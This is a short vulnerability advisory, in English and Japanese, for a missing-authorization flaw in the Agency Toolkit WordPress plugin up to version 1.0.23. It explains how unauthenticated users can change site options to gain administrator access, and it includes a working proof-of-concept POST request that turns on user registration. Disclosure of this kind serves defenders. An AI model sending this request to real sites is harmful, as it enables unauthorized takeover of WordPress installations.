
Agency Toolkit <= 1.0.23 - Missing Authorization to Unauthenticated Arbitrary Options Update
Agency Toolkit <= 1.0.23 - 認可の欠如による未認証の任意オプション更新
WordPress用プラグインAgency Toolkitは、1.0.23までの全バージョンにおいて、'agency_toolkit_import'アクションに対する権限チェックが欠如しているため、データの不正な変更に対して脆弱であり、権限昇格につながる可能性があります。これにより、認証されていない攻撃者がWordPressサイト上の任意のオプションを更新できる可能性があります。これを利用して、ユーザー登録時のデフォルトロールを管理者に更新し、ユーザー登録を有効にすることで、攻撃者は脆弱なサイトへの管理者アクセス権を取得できます。
POST /wp-admin/admin.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 485
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="agency_toolkit_import"
1
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="import_file"; filename="settings.json"
Content-Type: application/json
[
{
"option_name": "users_can_register",
"option_value": "1"
}
]
------WebKitFormBoundaryABC123--